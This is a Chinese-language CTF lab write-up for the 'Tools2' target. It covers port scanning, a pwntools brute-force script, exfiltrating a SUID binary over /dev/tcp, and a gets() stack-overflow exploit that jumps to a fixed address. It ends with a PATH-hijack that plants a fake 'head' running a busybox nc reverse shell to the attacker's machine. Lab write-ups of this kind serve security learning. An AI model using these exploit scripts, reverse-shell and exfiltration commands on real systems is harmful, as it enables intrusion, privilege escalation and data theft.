Tools2靶场学习笔记

正文

kali攻击机地址:192.168.67.181

靶场地址:192.168.67.176

一、端口扫描与代码审计

在kali里,使用nmap工具:

bash 复制代码
nmap 192.168.67.176 -p-

访问80端口,代码审计能发现密码:thehackerlabs

针对1337端口,nc连接过去:

看要求,还要写随机数。

二、编写pwn脚本跑随机数

构造一个随机数的脚本:

python 复制代码
from pwn import *
import re

for i in range(1000):
    r = remote("192.168.67.176",1337)
    r.recvuntil(b'Please enter password: ')
    r.sendline(b'thehackerlabs')

    r.recvuntil(b'Please enter a number (1-1000): ')
    r.sendline(b'500')
    a = r.recvall().decode()
    if 'Wrong' not in a:
        print(a)
        break

最后跑出来用户名和密码welcome/vulnyx

在opt目录下发现可以提权的程序todd:

bash 复制代码
-rwsr-sr-x 1 root root 16952 Jun 16 2025 todd
  • -普通二进制程序(红色文件名,setuid/setgid 标记高亮)

  • 第 4 位 s:Set‑UID 位(SUID)

    • 文件属主是 root,设置 SUID 后:不管哪个普通用户运行这个 todd 程序,进程都会以文件所有者 root 身份执行
  • 第 7 位 s:Set‑GID 位(SGID)

    • 运行时进程使用文件所属组 root 的权限

✨CTF 考点:SUID 提权

普通用户执行./todd,程序运行身份 = root,如果程序有漏洞,就可以拿到 root 权限。

权限拆解:-rw s r‑ s r‑x

  1. 属主权限 rw- + SUID (s) → rw s
  2. 用户组权限 r-- + SGID (s) → r‑ s
  3. 其他用户 r‑x:任何人都可读、可执行

三、文件传输逆向分析todd程序

先分析一下这个todd程序是干什么的,用攻击机接收:

python 复制代码
nc -lp 1234 > todd

靶机上传:

python 复制代码
cat todd > /dev/tcp/192.168.67.181/1234 

四、ida逆向发现todd可劫持命令函数,计算偏移量

用ida 软件打开,对着main函数F5反编译一下:

进入vulnerable()函数 里:

这里可以看出,使用gets函数,会导致栈溢出。

在靶机里,使用pwndbg工具调式,计算一下偏移量。

bash 复制代码
pwndbg todd
r

在攻击机里生成100个数字,测试偏移量

bash 复制代码
msf-pattern_create -l 100

可以看到在靶机里,将字符串Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A写入地址0x7ffeecc7b3a8时,发生栈溢出了。

那我们在攻击机里,计算一下偏移量:

bash 复制代码
msf-pattern_offset -q Ac4A 

证明偏移量是72,那就得生成72个字符A,并生成4字节B:

bash 复制代码
perl -le 'print "A"x72 . "BBBB"' 

生成如下字符:

bash 复制代码
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

五、靶机端口代理出来,编写exp脚本连接上去做路径劫持操作,获取flag。

先在靶机里做一个端口转发:

bash 复制代码
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

再到IDA里,找到todd函数的地址,F5反编译后,空格键,tab键能找到调用todd函数的地址:

编写exp,并在攻击机里运行:

python 复制代码
from pwn import *
import re

r = remote("192.168.31.133",12345)
r.recvuntil(b'Enter password: ')
r.sendline(b'hackmyvm')

junk = b'A' * 72
todd = p64(0x4011B2)

payload = junk + todd

r.sendline(payload)
r.interactive()

可以看到执行了靶机里同目录下的a.txt文件。

所以我们可以在靶机上,去临时目录下做一个自己创造的head程序,骗靶机去执行我们的head。

操作如下:

bash 复制代码
cd /tmp
echo 'busybox nc 192.168.31.188 1234 -e /bin/bash' > head
chmod +x head 
export PATH=/tmp:$PATH
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

攻击机再开一个窗口,监听1234端口:

bash 复制代码
nc -lp 1234
id

成功获取到flag:

相关推荐
paopaokaka_luck2 小时前
基于springboot3+vue3的车间生产管理系统(Echarts图形化分析、BI报表)
java·前端·spring boot·学习·echarts
Canmag 兴隆磁性2 小时前
自动磁场分布测试+镭雕设备 AT-C
学习·永磁材料·磁场分布测试
小小帅呀3 小时前
学习VLA第3天:训练一个最简单的神经网络
人工智能·神经网络·学习
m4Rk_3 小时前
【论文阅读】Agent 记忆机制(50):PACE——按下一步预测价值动态分配历史记忆粒度
论文阅读·人工智能·学习·开源·github
i love you china3 小时前
问卷系统调查博客项目测试报告
笔记
疯狂打码的少年4 小时前
【数据结构】板块总结 + 下期预告(数据库技术)
数据结构·笔记·算法
zQ.ii4 小时前
WPF 触发器学习笔记
笔记·学习·wpf
乐橙开放平台4 小时前
老旧社区双通道笔记:周界 hoveringAlarm / aiPerArea + 电梯 aiNonVehDetect,一套 callback 做 24h 防护
笔记·物联网·音视频·智能家居
想要成为老金高手4 小时前
Kubernetes 实战笔记(一):Pod 管理与 kubectl 核心命令全解
笔记·容器·kubernetes